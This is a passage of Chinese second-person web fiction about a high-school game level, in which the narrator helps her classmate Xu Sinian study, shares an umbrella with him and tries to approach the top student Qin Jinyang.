真是哈佛的话，能不能先让你上一上……
你连晚上做梦都在思考如何帮许斯年上北大，梦里忙忙叨叨一晚上，早上被妈妈敲门喊醒，坐起身迷瞪瞪看了眼床头的闹钟，瞬间就清醒了。
你连滚带爬出了被窝。
五分钟完成了洗脸、刷牙、梳头、换校服。
推开房门，妈妈做好的南瓜小米粥、菠菜蛋花汤、青椒小炒肉早在餐桌上摆好了。
你抬腕看了眼手表：“妈，来不及了，我今天先不吃早饭了。”
“不吃早饭怎么行？你等等，”妈妈边说边走去零食柜子前，“我给你拿个牛奶和小面包，你装在书包里，带去学校吃。”
你只好站在餐桌边等着。
余光瞄到桌上的早餐，你有了新的主意。
你左手抓上两个煮鸡蛋，右手抓上两个“好想你”的枣夹核桃，揣进校服的左右兜里。
你得给许斯年补补脑，先提高一下学习的硬件。
妈妈走过来，从后面拉开你的书包，把牛奶和小面包塞了进去，拉上拉链，然后拍拍你的书包：“好了，快走吧。”
你刚走出两步，妈妈又喊住你：“佑佑，把鞋柜上的雨伞带上。我昨晚看天气预报说今天有雨，看完就把雨伞找出来放鞋柜上了。早上这一忙活，差点忘了。”
你忙忙答应，走过鞋柜时，顺手拿走了雨伞。
你匆匆跑出小区，打到了出租车，这才松下口气来。
你望出车窗外，天空碧蓝一片，完全看不出要下雨的模样。
你低头看了眼手里还握着的三折红雨伞，这还是你第一次在游戏里遇见要下雨。
游戏里下雨、殷红的雨伞，会不会有什么特别的事情要发生……
*****
你终于压着早自习开始前的最后八分钟跑进了教室。
你气喘吁吁坐下来，就见桌上放着一件校服。
你瞥了眼一旁的许斯年。
他上身只穿着个短袖的夏季校服，白生生的薄肌手臂露在清晨微凉的空气里晃人眼。
你捏起桌上的校服，朝许斯年的头丢过去：“谁昨天埋怨我乱堆东西来着？”
再转过身，就见你桌上多了两个雪白的软绵包子。
包子装在透明的塑料袋里，袋壁还挂着细密的热蒸汽。
你怔了怔，这才反应过来刚才那件校服是用来给包子保温的。
你有些尴尬转过头。
就见许斯年从兜头罩下的校服里钻出润白的脸，额头还被校服遮着，五官倒是全露出来。
对上你的视线，便冲着一旁的窗户掐起兰花指，惺惺在脸上拭泪，信口胡诌起来：
“你看，你看，老天爷都看不下去了，九月飘雪，我比窦娥还要冤，真是冤死我了……”
你从校服左兜里掏出两个鸡蛋，一左一右塞进他在脸前惺惺拭泪的手心。
掌心的鸡蛋影响了许斯年掐兰花指拭泪的动作，动作一卡，许斯年的小生含冤落泪也滞在半空，唇瓣微张着看向你。
你语气平静回视他：“没事多吃点儿鸡蛋补补脑吧。脑子多一些，你就可以复活了。”
话落，许斯年错愕当空的眼神立马呼哧带喘起来。
“还不够你复活吗？”你的手又伸进右兜，又掏出一个枣夹核桃，剥开怼到他至今没阖上的下唇。
许斯年扣紧齿关。
你空着的手，转去他腰上轻轻一戳。
许斯年扭腰闷哼一声，你则瞅准时机，把枣夹核桃一巴掌拍进他嘴里。
然后，你不再看他，转身拿起桌上的包子，隔着塑料袋撕开第一口包子皮。
肉馅儿的！
真好，不用喝冷牛奶、吃冷面包了！
你满意地一口口咬起包子。
许斯年在你旁边，把枣夹核桃嚼得咯噔作响。
时间有限，你快速吃完两个包子，又看向许斯年，问他：“复活了吗？”
许斯年干瞪着你，不说话。
你低声自言自语：“哦，还差一点儿。”
说完，你装模作样四下瞅瞅，然后看向剩在塑料袋底的包子皮，捏起包子皮作势就往许斯年嘴里塞。
许斯年赶忙开口阻止：“复活了！”
你趁机把包子皮塞进许斯年嘴里：
“恭喜你，复活了！人类守则的第一条：不能浪费粮食。”
*****
你想着要让许斯年提高上课效率。
上午上课时，许斯年一搞小动作，目视前方听课的你立马一个眼神扫过去。
直到他老实了，你才收回视线。
两节课下来，你自以为效果不错。
谁知下课后，许斯年便双手捧着你的后脑勺，把你的脑袋左转转又扭扭，说怀疑你后脑勺上也长了眼睛，要仔细检查一下。
他当然没能在你的后脑勺上找到另一双眼睛。
你能回应他的，只有两只大大的白眼。
大半天下来，你终于明白，现实和你预想的严格镇压完全背道而驰。
许斯年不仅没觉得压抑、束缚，反倒和你玩“猫捉老鼠”玩得不亦乐乎。
上课也玩，下课也玩。
午休你上个厕所再回来的功夫，原本老实埋头写练习册的许斯年就彻底没了踪影。
直到午休铃响，许斯年才拎着两瓶农夫山泉nfc的橙汁踩着音乐铃走进来。
你起身给他让位置。
许斯年一身热气腾腾，面色更是好到白里透粉，一看就是开心打篮球去了。
他坐下后，你也不吱声，默默仰天扶额。
许斯年捉起你捂住额头的左手，把一瓶冰冰凉的橙汁放进去，美曰其名：“用这个效果更好。”
你顶着橙汁，余光瞄见许斯年拧开橙汁，一口气“咕咚咕咚”灌了半瓶，在你耳边感叹：“好爽啊。”
“还是橙汁好喝，你昨天给我的奶茶太甜了。”
“你尝尝我买的，饮料还是得凉的才好喝。”
“你怎么还不喝？”
你死气沉沉听着他的聒噪，望着苍白的天花板回：“我要晕倒了。”
“晕倒？”许斯年诧异看向你。
然后伸手抽走你手下的橙汁，帮你扭开，手掌搭在你头顶扶正你的脑袋，满腔关切对你说：“那可能是低血糖。”
“来，张嘴——喝口橙汁。”
你看向许斯年，一脸无语：“我有没有可能是高血压？”
许斯年又把你的头扭回去，对准橙汁瓶口：
“说什么傻话呢？你年纪轻轻的，哪来的高血压？”
*****
都说，三月的天，孩子的脸，说变就变。
九月的天，也不遑多让。
明明前一刻还艳阳高照的天，下午第二节语文课上到一半，就淅淅沥沥下起雨来。
学生们三三两两望出去。
语文老师也停下了口中的话，拿着卷子走下讲台，朝窗外看去。
天空上，稀薄的几片灰云甚至不能完全遮住太阳。
太阳照着它的大地，乌云下着它的雨。
同一片天空，竟然互不相干。
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下面不知是谁捏嗓子问了句：“老师，操场下雨了，下节自习课还开高考动员大会吗？”
班主任林老师从窗外收回视线，扫了一圈下面的学生，指节推了推镜框下缘：
“该操心的不操心！”
“刚才那道阅读，问你们怎么理解，一个个都哑巴了。这会儿还操上学校的心了。一会儿学校怎么安排，你们就怎么办！”
说完，踩着小粗跟“哒哒”走上讲台，继续讲起卷子来。
学校的新安排来得十分迅速。
下课铃一响，高三年级的广播就响了。
高考动员大会照常举行，不过地点由操场改到体育馆。各班同学还是要自行搬椅子下去。
广播一结束，教室就热闹起来。
搬椅子的、找雨具的、到处翻塑料袋往头上试套的，还有某些天才把装卷子的文件夹倒空，扣在脑袋上的……
你看着窗外的斜风细雨，问许斯年：“你带伞了吗？”
许斯年：“没啊。”
你：“我带了，那你和我打一把。”
许斯年：“行，那我帮你拿椅子。”
许斯年话是这么说，但高三一年，学校但凡有要搬椅子下去参加的活动，他总是一人包办了你们两把椅子。
所以，这次你也没和他争。
你们七班到十四班在三层，一班和七班在上面的四层，高三两整层的学生倾巢出动，还人手一把椅子，一时间楼道里简直比菜市场还纷繁嘈杂。
到处都是脚步声、催促声、被椅子腿磕到脚后跟的抱怨声、肇事者急匆匆的道歉声……
许斯年身高腿长，一手拎一把椅子，像个人形推土机似的走在前面。
你拿着个三折的小雨伞亦步亦趋跟在他身后。
每次附近响起“啊！”“哎呦！”“撞到我了~”的响动，许斯年总要转头看一眼身后的你，再提醒你一句“跟紧点儿。”
三楼下二楼的楼梯，两层学生汇集起来，下楼的洪流更是时走时停。
终于，你跟着许斯年下到了一楼，走出了大门，站到台阶上方的大平台上。
出了教学楼，大家开始各显神通。
拿出各种“雨具”，挡在头上，往外走去。
当然，还有压根不在乎被淋湿的男生，拎着椅子，嚎着你听不懂的音节，撒丫子奔进雨里。
这一刻，你站在台阶边缘，望着操场对面的体育馆，非常感谢每天准时收看天气预报的妈妈。
你从身后拿出雨伞，解开绑扣，在头顶撑开一片深红，回身优雅地对许斯年说了句：
“我们走吧。”
许斯年把两把椅子背靠背，单手拎在右面。
三折伞不大，你伸长手臂擎高伞，贴在他左边走。
雨伞勉强把你和高大的他罩下。
许斯年走到一半，突然想起什么停下来。
“忘了和你说，我出来前揣了一大把瓜子，你一会儿听得无聊了就管我要，我揣在……”他伸手拍拍左侧裤兜，一脸求夸奖看向你，“看，就在这儿……”
你瞥了眼他装得鼓囊囊的校服裤兜，感叹道：“你真是没少装。”
“不过，一会儿嗑完的瓜子皮往哪扔？”
没听到许斯年的回答，你抬头去看他，就见他的视线错过了你，定在某处。
你顺着他的视线看去，找到自己被雨水斑斑点点洇湿的左肩膀。
你无所谓冲他耸耸肩，说：“就一点儿，没事。”
却见许斯年看着你的肩膀，说：“夏佑，以后不要和要你帮他打伞的男生在一起。”
许斯年说这番话时，你们头顶的天空被墨红的雨伞遮得严严实实。
不知道为什么，你却觉得他看着你肩膀的神情，像在望天上只属于他的那只风筝。
怔愣间，你手中的伞被许斯年从上方抽走。
你茫茫然被深红的阴影罩着向前走去。
其实，你不觉得有什么。无论是你打伞，还是你淋到些雨。
你的伞，还是你在打，你总不好让另一个人淋雨……
你和很多人打过一把雨伞，你也总是撑伞的角色，因此你很会撑伞。因为你很会撑伞，后来每次撑伞的总是你。
想起来似乎是个找不到初始的圆环。
你也说不清到底是因为你会撑伞，所以总是撑伞，还是因为你撑了很多次伞，所以你很会撑伞。
但结果是，你确实总是那个撑伞的人。
不过，许斯年为什么突然和你说“以后不要和要你帮他打伞的男生在一起？”
明明无论是你周围的亲戚，还是网络上都在说女生不要太娇气、不要太矫情……
许斯年这是在……怂恿你娇气一点吗？
你想着就问出了口：“许斯年，你这是在怂恿我要娇气一点吗？”
许斯年擎着伞，转头奇怪看你：“你什么时候娇气了？”
咦，他不是这个意思？
你走在许斯年身边，看他又擎着伞，又拿着椅子，总觉得自己干走着心里不安。
你：“许斯年，我帮你拿点儿什么吧？”
许斯年：“不用。”
“我什么都不做，我会觉得不好意思。”你犹豫了下，对他说出了你的想法。
许斯年侧头瞥你一眼，把肘尖点在你肩上：
“哦。”
“那你帮我举着它吧。”
*****
你们进了体育馆。
体育馆前方已经摆上临时搬来的立式发言台。
几个老师在里面组织，一个班级一个方阵放下椅子，一班、二班、三班按顺序从前到后往下排。
你们十班的椅子方阵已经摆到了倒数第二排靠窗的墙边。
等椅子安顿好，椅面上的雨渍都干得差不多了。
但你还是拿出纸巾，也分给许斯年一张，把椅面擦干才坐下来。
原定下午三点开始的高考动员大会，到了三点五十才真正开始。
动员大会和你现实里参加的没太大差别。
校长发言表示对这一届高三学生寄予厚望，高三老师代表发言以资鼓励，高三学生代表发言展示为高考奋斗的决心。
台下的学生全体起立，跟着学生代表一句一句宣誓。
你又一次在震耳欲聋的集体宣誓中心潮澎湃了。
宣誓完，你随大流儿坐下，侧头望见一旁的窗户。
感觉上面的雨滴都被震落了不少。
果然，你的心潮澎湃是被震的……
台上又换了一拨人在讲话。
外面的雨似乎下得更大了些，淅淅飒飒敲在玻璃窗上。
你百无聊赖随着敲在窗上的雨点无声哼起了歌：“窗台上滴落的雨滴，轻敲着伤心，凄美而动听，而我听见下雨的声音……”【1】
“下面，我们有请上次摸底考试中取得优异成绩的学生为大家分享一下学习经验……”
《听见下雨的声音》的音轨和前方台上影影绰绰传来的麦克音在你脑中唱起了二重奏。
“于是我的世界被吵醒，发现你始终很靠近……”【2】
“请大家以热烈的掌声请出第一位分享者，来自高三一班的……”
台下骤起的掌声雷动中，你顶着一脖子炸起的汗毛转过头，扯着在敷衍鼓掌的许斯年肘间的校服，让他看向你：
“刚才……上面说来自高三一班的谁？”
许斯年不懂你脸上一副被雷劈了的表情从何而来，迟疑着回：
“高三一班。”
“秦今阳。”
46. 竹马的心愿挑战（7）
你把正敷衍鼓掌的许斯年扯得手肘一歪。
许斯年看过来。
你问他：“刚才……上面说来自高三一班的谁？”
许斯年不懂你脸上一副被雷劈了的表情从何而来，迟疑着回：
“高三一班，秦今阳。”
“你没听错？是叫秦今阳？”你忍不住再一次向许斯年确定。
许斯年扯扯自己的耳朵：“我两只耳朵，只只5.2，听得清清楚楚。”
你捂住惊喜张大的嘴。
转正身，越过一片黑压压的脑袋，遥遥望向于雷动掌声中一步步走上台的那道侧影。
原来，腿边支着的那把红伞是要告诉你：
天上要下红雨了！！！！！！！！！！
你就知道！
你就知道游戏不能这么离谱，让你这么个自己都考不上北大的人帮许斯年上北大！
游戏这不就给你投了个真考上清华的npc进来了！！！！！
啊，这一刻，你无比感谢自己在图书馆前帮秦今阳刷了次学生卡。
果然，好人是有好报的。
不是不报，时候未到啊！
你要是不帮秦今阳刷学生卡，他不照着读卡机叫出你的名字，你不误会他知道你的名字，发生之后一系列鸡同鸭讲，你能知道秦今阳是清华的学生？！
哈哈哈哈哈哈，都是天意啊，冥冥之中自有天意啊！
哈哈哈哈哈哈，你真是开心地想站起来原地转圈圈~~~~~~
学校这回的座次排布一如既往“讲究”，把最好的班级放在最前面听最好的尖子生分享学习经验。
你们这些普通班级的，只能美人如花隔云端远远瞧着，听两侧的大音响的扩音。
因为距离太远，你的视力也远没有卓越的5.2，你看不清台上人的脸。
但台上人一开口，听到那枕流漱石般的清冷嗓音，你立马确定，这就是你认识的那个秦今阳。
你一错不错盯着台上的人，竖着耳朵听他逐条分享的学习经验：
确定一个可量化的目标、及时且明晰的反馈、沉浸式学习、对学习全程的掌控……
你一条一条认真记在心里，眼睛越听越亮。
听着听着，你都恨不得自己亲自下场上北大了。
秦今阳低头念着稿，音量和前面热情澎湃的学生领誓代表简直是一个天上、一个地下，他好像完全不在乎下面的人听与不听。
但神奇的是，除了两个立式大音响持续传出他疏淡的嗓音，整个体育馆异常安静。
连你们不在领导监管范围的大后方一直隐隐存在的低声蛐蛐都不知何时消失了。
秦今阳讲完，朝台下鞠了个更像点头的躬。
台下响起一片掌声。
你在其中，鼓得尤其卖力。
忽然，你手肘被向后扯了下。
你转过身，这才发现自己不知何时已坐到了椅子前缘。
你向后挪了挪，看向来扯你的许斯年。
许斯年问你：“你认识他？”
你被问愣了。
你在现实里认识秦今阳，但在游戏里应该不算认识他吧？
迟疑间，许斯年已经给你盖棺定论了：“你认识他。”
你扯回自己的手肘，反驳：“不认识啊。”
许斯年：“那你为什么反应那么……激动？”
被看出来了吗？
“我这不是觉得他分享的学习方法很有用嘛。”你心虚挪开眼。
许斯年一错不错盯着你的脸，抱臂靠上椅背，一副不打算轻易放过你的模样：“不对，你是在更早的时候就开始激动了。”
“准确来说，”许斯年眯起眼，“是从你向我确定他的名字开始。”
许斯年：“你们是初中同学？”
你摇摇头：“不是。”
许斯年：“你们是小学同学？”
你：“不是。”
许斯年：“幼儿园同学？”
你翻他个白眼：“谁还记得幼儿园的同学？”
许斯年：“我就记得。”
你诧异：“你记性那么好？还是……幼儿园有你的初恋？”
许斯年朝台上抬了抬手肘：“第二个人上来了，好好听你爱听的学习方法吧。”
“哦哦。”你赶紧转头去听。
*****
动员大会结束，学生们纷纷站起身，前排的一班、二班、三班的学生们搬着椅子率先往出走。
你踮着脚，望穿秋水般望向高三一班的方向。
在心中衡量自己穿过几百人、绕过几百张椅子，赶在秦今阳离开前走到他面前的可能性……
几乎为0。
今天才是游戏的第二天；
许斯年上北大也不差这一时半刻；
你可以回去好好准备一下，再去找秦今阳。
啊，一切都是天意，一切都是刚刚好，你在心里唱诗。
看着堵满了人和椅子的体育馆，你都觉得是活泼的热闹。
回去的路上，依旧是许斯年撑着伞。
你开心地把手伸出伞外，张开五指去感受灵动的雨丝跳跃在你指间、掌心。
你转过身，对着许斯年倒着走路。
许斯年很高，头顶在伞下，大半张脸都罩在伞下的阴影里，你这个角度不仰着头，只能看见他露在阴影外的下巴。
你叫他：“许斯年。”
许斯年沉着声音回：“干吗？”
“没事，”你慢悠悠晃着头，“就是想叫叫你。”
你：“许斯年？”
许斯年从鼻腔敷衍了个“嗯。”
你：“我发现你单手拎两把椅子特别帅。”
许斯年：“哼，别哄我。”
“我干嘛要哄你？”你伸手描了描他隔着校服也能看出的肱二头肌弧度，“特别man。”
许斯年没吱声。
你边倒退着走，边叉着十指想：“对了，就是网上说的那种特别有‘男友力’的感觉。”
你的头顶，许斯年的嘴角憋不住翘起。
你倒退着走，许斯年撑伞的脚步也慢下来。
濛濛细雨里，你的碎碎念散在潮湿的空气里，随雨丝落在对面人的发丝、耳畔。
“许斯年，你听过男友力这个词吗？”
“我就猜你没听过。”
“许斯年，你觉不觉得网上总时不时冒出些新词，一夜之间就流行在各种评论区里，大家都默认其他人知道这是什么意思，你不问，也没人主动解释，甚至有的都找不到‘官方’解释。”
“其实，我也不知道‘男友力’的准确意思是什么。”
许斯年压低伞的前端，把你出去了的后脑勺不动声色重新勾回伞里。
“但我刚才看你的瞬间，一下子就觉得“男友力”应该就是你这样。”
许斯年没说话，隔着校服握上你手腕，把你扯回他身边站着，把头顶的伞敞放到脑后。
墨红的伞仿佛开到荼蘼的大丽花在你们紧贴的身后绽放。
许斯年在濛濛细雨中抬起长臂，示意你向天上看去。
“夏佑，我看天上下的不是雨。”幽幽的声音在你头顶响起。
你不解仰头望向许斯年。
许斯年白净的侧脸暴露在微凉的日光里，你见他勾起一边唇角，戏谑道：
“我看，天上下的是蜂蜜水，全浇进了你这张小嘴里。”
你捂着嘴，开心笑起来。
许斯年望着你，微凉的手掌蓦地覆上你露在外的上半张脸。
眼前忽然陷入黑暗，你奇怪地在他掌心里狂眨睫毛：“许斯年，你在干吗？”
许斯年默了片刻，放下手掌：
“不干嘛，比比谁的手指长。”
你：“……………………”
“这还用比？”
“确实多此一举。走吧。”
*****
有些事情，就该趁着上头时做。
你回去想想，各种冗杂的顾虑就涌上心头。
你本来准备趁着下午自习结束，去楼上的高三一班找秦今阳，但看到前面对着小镜子梳着空气刘海的叶诗语，又想到自己是不是该稍微打扮一下再去找他。
虽然你也不是去表白，但昨天，你亲眼见证了叶诗语两句话就解决了你左转转、右扭扭，费了好一顿功夫都结束不了的纷争。
你要是稍微好看点儿，这关的秦今阳对你的态度是不是也能稍稍热络点儿？
你管叶诗语借来了小镜子。
对着小镜子照了照，又觉得你差的不仅是一个整齐的刘海儿。
于是，你决定今晚回家好生打扮一番，明天再去找他。
晚上回到家，关上房门，你没像往常第一时间换下校服。
你穿着校服站在穿衣镜前，好一顿打量、忖度。
明天你得穿校服；
也不能像第三关那样通过烫头、改变发色来增加一些小个性；
也不能化着明晃晃的妆去上学；
由于你自身技术的局限性，也不会化什么伪素颜淡妆……
你越看镜子里的自己，越像技穷的黔驴。
天生不丽质，再配上处处是限制的高三，你想不自弃都不行。
空折腾大半个小时，你乖乖坐到桌前写作业去了。
唉——
书中自有黄金屋，书中自有颜如玉，你还是拿知识武装一下自己吧……
第二天一大早，你起得早早的。
卫生间里，你无比认真洗了个脸，无比认真涂了个水乳，无比认真把马尾盘成了花苞，并选了个粉蓝拼格、缀有两颗铃兰的发圈固定住。
你对着镜子，平了平校服领口外的两片米白花边领，拽正了中间的黑色丝绒细带小蝴蝶结。
是的，你心机地把里面丑丑的夏季校服换了！
迈进教室门前，你默默祈祷班主任千万不要注意到你今天的这些小心机。
毕竟，你的小心机们可不是给她看的。
你放下书包，坐下来。
一旁侧身看来的许斯年还盯着你。
你故作镇定回视过去，问：“看什么？”
许斯年用笔尾搓着太阳穴，迟疑回你：“我怎么感觉……你今天有哪里不一样？”
你面上不动声色，心里暗爽，希望等会儿老师们也像许斯年，是个睁眼瞎。
“有什么不一样，”你轻咳了声，“学你的习吧。”
“哦。”许斯年一步三回头慢腾腾从你身上收回打量的视线。
*****
你顺利度过一上午。
没有老师把你单独叫过去，和你谈谈你今天的“特别”之处。
中午，吃完饭回到教室，你又等了会儿，估计秦今阳再慢也吃完饭了，你便拿上了纸笔，准备上楼去找秦今阳。
一旁做题的许斯年抬头看向起身的你，问：“你要去哪？”
你：“出去溜达溜达。”
许斯年一脸狐疑：“不看着我学习，出去溜达溜达？”
你：“嗯，中午吃多了，出去溜达溜达。”
临走前，你顺嘴喂了许斯年一碗兑了水的鸡汤：
“你一个人在教室里好好学习吧，我相信你。”
你匆匆出了教室，上到四楼，一路向前走到走廊尽头，来到了高三一班。
中午午休，高三一班的前门大敞着。
找人前，你左右看了看，见无人注意，你把藏在校服袖子里的木耳花边袖口用力扯了出来。
头花、领口、袖口。
你又回想了一遍，没有落下的了。
你开始在敞开的门旁守株待兔。
第一个出来的，哦不，应该说是像猴一样灵活蹿出来的是个男生。
Pass。
第二个女生，人都走到门口了，眼睛还没离开手上捧着的练习册，一看就是要去办公室问题的。
你就先不打扰了。
第三个，终于，你等到了一个看起来文文静静的女生。
“同学，你好。”你轻声拦住了她，朝教室里指了下，“能不能麻烦你帮我叫一下你们班的秦今阳。”
她看了你一眼，脸上毫不意外，确定道：“找秦今阳啊？”
你点点头。
“好的。你等下，”她说着，半边身子斜回门里，在教室里扫了一圈，自言自语，“秦今阳好像不在。”
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啊，秦今阳不在？
你苦恼着是先回去，还是继续等一会儿，就听她嗷一嗓子，冲教室里大喊：
“秦今阳——秦今阳！秦今阳？”
你：！！！
喊完，她扭头告诉你：“秦今阳应该是出去了。”
你忙忙点点头：“那我……”
你“下次再来吧”还没说完，她扶着门框上半身又斜进教室里，大声问：“有没有谁知道秦今阳去哪了？”
你听到教室里很快有人响应：“今天和二班有篮球赛，他和宋霄他们去打篮球了。”
她回头看你：“秦今阳去打篮球了。”
一班和二班有篮球赛啊，怪不得你打眼看去，他们班少了一大半人。你还当他们尖子班的努力程度也不过如此……
你感激地连连说“谢谢”，没想到随便一找，找到个这么热心肠的女同学。
“不客气。”她摆摆手，“篮球场，你知道在哪里吧？”
你：“知道知道。”
她冲走廊另一头的楼梯方向指去：“那你赶紧去篮球场找他吧。”
你一边往楼梯方向走，一边在心里感叹，这个女生真的好好啊。
又热情、又善良、又大方……
你今天的运气真不错！
你一路怀着愉悦的心情找去篮球场。
远远，你就听到篮球一下一下拍在地上，欢呼声潮水般一迭一迭涌来。
你望过去，灿烂的正午阳光下，场上身穿紫色队服和白色队服的两伙人的身影交织，打得如火如荼。
你迈进烈火烹油般鼓噪的欢呼热浪里，一眼望去，除了你，场边的人几乎全是结伴而来。
你一个人，这时站去哪儿，都不免形单影只，在这个热闹的场地看起来格外像个小可怜……
你索性站在了最外面。
你朝场上看去。
一眼就在奔跑、带球的众人中找到了身穿5号紫色球服的秦今阳。
帅哥就是这样，永远不会湮没在人海里。
尤其是在一众赤膊、被晒得油光发亮的黄黑皮中。
秦今阳简直白得发光，跑动跳跃间仿佛自带打光板。
你看不懂篮球，唯一那点儿篮球知识——知道场上紫色的球服是NBA的国王队队服、白色的是NBA热火队队服、知道NBA各个球队的当家球星——还是多亏了爱打篮球且不懂眼色的许斯年的科普。
你旁边几步站着几个看球的女生。
从她们的对话中，你听出她们是高三二班的。
你本以为她们是来为自己班同学加油打气的，可你越听越不对。
场上的秦今阳一进球，她们的掌声立马热烈起来。
刚开始，你还以为是自己的错觉，直到一次秦今阳带球过人，三步上篮，她们直接尖叫破音了。
难怪她们几个也站到了角落来……
当“叛徒”，确实得低调点儿。
你瞥见看球的女生们手中不少都拿着矿泉水或白毛巾，灵机一动。
趁一波欢呼结束，你走到那几个女生身旁，问她们比赛什么时候结束。得知还早着，你便放心离开，去了学校的小商店。
饮料柜台前，你在农夫山泉和百岁山间犹豫。
你自己一向都买农夫山泉，但许斯年在学校一向只买百岁山，百岁山也比农夫山泉贵一元。
你想了想，无论是上关游戏见到秦今阳的那一面，还是现实里见到的那一面，秦今阳的打扮、举止看起来都像是家庭条件不错的样子……
那还是按照许斯年的口味来吧。
最后，你买了一瓶百岁山和一条白毛巾。
你重新回到篮球场，比赛果然还在继续。
你虽然不懂比赛的规则，但阳光下青春的热情，跑跳间飞扬的活力并不需要规则的注释与解读.
你渐渐也看了进去。
比赛结束，秦今阳所在的一班赢了.
场下后补的紫衣服、白衣服们都冲上场去，以各自的方式庆祝和遗憾。
你看到紫衣服的队友们朝秦今阳凑过去，看架势像要把他抛到空中庆祝，被他一个眼神制止，停下了脚步。
他的队友们似乎习以为常，也不觉扫兴，转头又去抛别人了。
场外拿着水和毛巾早就蓄势以待的女生们，瞅准目标，纷纷快步上前。
你则趁着混乱，穿过来往的人流朝秦今阳的方向走去。
还没等你走到秦今阳跟前，他已经被几个女生拦下了。
递水的递水，送毛巾的送毛巾，哦，还有从背后变出小礼盒的……
你放慢脚步，眼见着秦今阳三言两语将几人劝退。
说什么你倒是没听到，只看到水和毛巾，他一个都没接。
你十分庆幸自己找秦今阳，既不是真要送水和送毛巾，也不是来送礼物的……
但你还是瞧出了现在不是个好时机。
要不先要个联系方式？不，要不先混个脸熟？
你犹豫着，犹豫着，人已经走到了秦今阳跟前，他已经看到你，你是箭在弦上，不得不发了。
“秦同学？”你试探叫他。
秦今阳低头扫了你两眼，凉凉开口：“我高三不准备谈恋爱。”
？？？？？？
你昨天下午到今天，十几个小时预想到他的反应千千万，但万万没有这、一、句啊！！！！
给你彻底整不会了，但你也不能干站着不说话啊。
你只好先把手中的百岁山递出去缓一缓。
斜侧里突然有人叫你：“夏佑。”
你侧头朝声音方向看去。
就见许斯年大步朝你而来。
他怎么又跑出来了！
许斯年倒是毫不心虚，走到了你面前。
目光先落到你递出水瓶的右手上，又转到你臂弯上搭着的白毛巾，最后停在你左手捏着的对折的粉色HelloKitty信纸上，许斯年轻笑一声：
“夏佑，这就是你所谓的中午吃多了，出来溜达溜达？”
你：？
许斯年：“溜达溜达，顺便来见这位既不是你初中同学、也不是你小学同学、还不是你幼儿园同学的……陌生人？”
47. 竹马的心愿挑战（7）
许斯年：“夏佑，这就是你所谓的中午吃多了，出来溜达溜达？”
你：？
“溜达溜达，顺便来见这位既不是你初中同学、也不是你小学同学、还不是你幼儿园同学的……陌生人？”
你仰头望望左边站着的许斯年，又望望面前还没走的秦今阳。
这一刻，你和千年前被逼殿上七步成诗的曹植共情了，“萁在釜下燃，豆在釜中泣……”
你是那锅中的豆，许斯年就是那在锅底把你烧得滚烫的萁，秦今阳……
是那锅边看戏的曹丕。
可你没有曹子建的八斗高才，只能像个赤|身被捉|奸当场的男人，左瞧瞧正宫，右看看小三，在幻想里无能蹲身抱头……
头顶传来许斯年的声音：“你还有事吗？”
你偷觑了眼秦今阳，确定许斯年是在问你。
你当然还有事……
许斯年已经自问自答了：“没事的话，该回去睡觉了。”
你恋恋不舍望一眼秦今阳。
你准备了十几个小时，和潦草只有七步时间准备的曹植可不一样，你还什么都和秦今阳说呢，就要走了……
许斯年长臂从斜侧伸来，抓起你身后的兜帽，一把扣上你转向秦今阳的脑袋，拍板定案：“走吧。”
你视线被遮，右手却忽然一轻。
你从宽大的兜帽帽檐向下看出去，就见原本拿在手里的百岁山被秦今阳接了过去。
你从淡粉的兜帽里仰起头，一脸惊喜看向秦今阳。
秦今阳薄唇轻启：“谢谢。”
你立马笑开了花，太好了，至少送出一瓶水，“不客气”还在舌尖，就见秦今阳手中的水瓶被抽、走、了？
你懵懵转头。
就见许斯年扭开百岁山的瓶盖，喝了……起来？？？？
许斯年一口气灌了半瓶，结束后，手背潦草擦了下流到下颌的水渍，对齐齐看向他的你们说：
“太渴了。”
说完，把喝了半瓶的水朝秦今阳的方向递了下：“还要吗？”
你：？？？？？？
秦今阳的声音一如既往冷淡：“不用。”
许斯年点头，侧身朝旁边打了个响指：“对，就是你——”
“兄弟，给我扔瓶水来呗？”
路人“兄弟”十分爽快从脚边一箱冰露抽出一瓶，高高抛了过来。
许斯年单手接住水瓶，朝秦今阳方向一递：“喏，新的。”
你的大脑现在已经被问号们彻底攻占了。
许斯年既然能这么轻易找路人要到瓶水，为什么非要喝你送秦今阳的百岁山？
难道就因为你买的是他爱喝的百、岁、山？？？？
早知道，你就买农夫山泉了！！！
秦今阳盯着许斯年递来的冰露，没有要接的意思。
许斯年也不收回去，另一手拎着半瓶的百岁山悠闲等着。
你：“………………”
你替人尴尬的毛病在他们一言不发的对峙中发作了。
你伸手拿走许斯年递出的冰露，扭开，仰头喝了口，照搬了许斯年的台词：“太渴了。”
你扭上瓶盖，把冰露夹在臂弯里，并顺手把原来搭在臂弯里的白毛巾塞进秦今阳垂在腿侧的手里。
做完端水大师，你一句“我先走了”，谁也不看，遁走了。
你一路闷头疾走。
身后要是拴着个犁耙，两道深深的犁沟一定能从篮球场一路尾随你进教学楼……
*****
你在座位上坐了有一会儿，许斯年才回来。
你坐下后，趴在桌上不去看他。
你感觉到许斯年一直盯着你的后脑勺，但你装作不知道。
过了会儿，你听到许斯年也趴在桌上。
你安心闭上了眼。
不料，平时倒头就睡的人此刻却像铁板上的煎鸡蛋。
翻过来、调过去，在紧邻你的书桌上左右折腾。
在他第八次在你身后调转方向时，你忍无可忍，转头怒视他。
不防，对上许斯年瞬间亮起的眸子。
“你也睡不着啊？”他望向你的清亮眸子闪着掩不住的惊喜，用口型问你。
你奔腾了一路的火气，莫名一下就熄了火。
但你还有些小别扭，没说话。
许斯年一秒耷拉下眉眼：“你骗我，你说去溜达溜达的……”
一句就把你给说心虚了。
许斯年垂着眼皮，有气无力晃晃阳光下毛绒绒的脑袋，自言自语安慰着自己：“没事，我不怪你。”
他是会拿捏你的……
你的骨头又软了几分。
许斯年emo30秒，又掀起长睫，一错不错望你，用口型一字字问你：
“你、喜、欢、他？”
你诧异瞪大眼。
许斯年在臂弯里点点头，用气音下结论：“你不喜欢他。”
你实在无语。
怎么你对秦今阳只有“喜欢”和“不喜欢”两种选择？
不对，你和秦今阳的关系，哪里到了谈“喜欢”和“不喜欢”的地步？
你不想和他一样，像个傻子似的，全程用慢动作的口型对话。
你从桌上起身，打算找纸笔来和他文字沟通。
靠上椅背，低头一看，一眼就看到你之前拿去找秦今阳、午睡前收在桌洞书本最上层的HelloKitty信纸、带蝴蝶结的按动笔……
你又想起来了，你精心准备的一切，还没开始，就被许斯年这个突然冒出来的搅屎棍给搅和黄了。
你兢兢业业从发丝准备到笔帽、准备了十几个小时，最后只和秦今阳说上了一句话。
